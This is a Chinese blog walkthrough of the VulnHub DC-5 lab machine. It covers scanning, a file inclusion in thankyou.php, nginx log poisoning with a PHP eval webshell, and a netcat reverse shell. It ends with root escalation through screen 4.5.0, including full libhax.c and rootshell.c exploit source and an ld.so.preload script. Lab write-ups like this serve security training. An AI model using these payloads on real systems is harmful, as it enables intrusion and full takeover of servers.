【VulnHub系列】DC-5靶机

DC-5靶机

环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式

一.明确目标

探测目标主机IP情况

nmap 192.168.153.0/24

在这里插入图片描述

目标主机IP:192.168.153.151

Kali的IP:192.168.153.129

二.信息搜集

Nmap 进行常规端口开放扫描

进行namp全端口服务枚举

nmap 192.168.153.151 -p- -A

在这里插入图片描述

可以看到开放了 http 80端口,111/tcp open rpcbind 2-4,42684/tcp open status 1

对该网站目录进行爆破枚举,利用到的是kali上的dirb:

dirb http://192.168.153.151

在这里插入图片描述

http://192.168.153.151/index.php

http://192.168.153.151/css/

http://192.168.153.151/images/

利用dirsearch进行目录扫描

dirsearch  -u 192.168.153.151

在这里插入图片描述

发现一个特别目录footer.php,每刷新一次数字变化,即可能存在文件包含漏洞
在这里插入图片描述在这里插入图片描述

尝试有没有其他文件包含

http://192.168.153.151/thankyou.php?file=/etc/passwd

在这里插入图片描述

发现可以包含/etc/passwd文件,所以我们尝试包含nginx的日志文件

每当我们访问一个页面,nginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/access.log和/var/log/nginx/error.log。我们尝试将一句话木马写入日志文件中。

注:(无论网站有什么操作,都会被记录在/var/log/nginx/access.log和/var/log/nginx/error.log里面)

http://192.168.153.151/thankyou.php?file=/var/log/nginx/access.log

# 访问这个文件时,有时会出现日志文件显示不出来的问题。这个是DC-5本身的bug。重置虚拟机可以解决。

三.漏洞利用

使用bp修改数据包数据,写入一句话木马

<?php eval($_REQUEST[666]); ?>

在这里插入图片描述

再使用蚁剑进行连接:

在这里插入图片描述

在这里插入图片描述

# 蚁剑的设置只需要*号的两项。
# 需要注意的是Shell pwd这一项应该和$_REQUEST的参数保持一致。点击测试连接,会出现连接成功的提示。

然后右键,点击Terminal就可以得到一个Shell。然后反弹回Kali。

在这里插入图片描述

┌──(root💀kali)-[~]
└─# nc -lvvp 8888
listening on [any] 8888 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.153.129] from bogon [192.168.153.151] 45877

拿到这个shell没有提示符,用python来解决。

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

四.SUID 提权

查找www-data用户具有suid权限的命令

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
#两个是相同意思,都可以查找

发现命令 /bin/screen-4.5.0
在这里插入图片描述

searchsploit screen 4.5.0  

searchsploit -m 41154.sh    #下载到Kali本地

在这里插入图片描述

靶机端下载,并给执行权限

chmod +777 41154.sh

在这里插入图片描述

发现运行失败!!!

查看41154.sh的源码。需要将文件拆分,我这里拆分为三个文件:

在这里插入图片描述

进入kali的/tmp文件夹下,创建三个文件,三个文件如下:

第一个文件:

libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

第二个文件:
rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

第三个文件:
getshell.sh

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

经过多次尝试编译,需要在其他Linux上编译好再上传到靶机上才可以运行!!!!!这里是在centos7上编译的

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

在这里插入图片描述

然后将这三个文件全部下载到靶机:

在centos7上开启网络服务

python3 -m http.server 80

在这里插入图片描述

然后运行getshell.sh

在这里插入图片描述

./getshell.sh运行

在这里插入图片描述

提权成功!!!!

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gaynell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值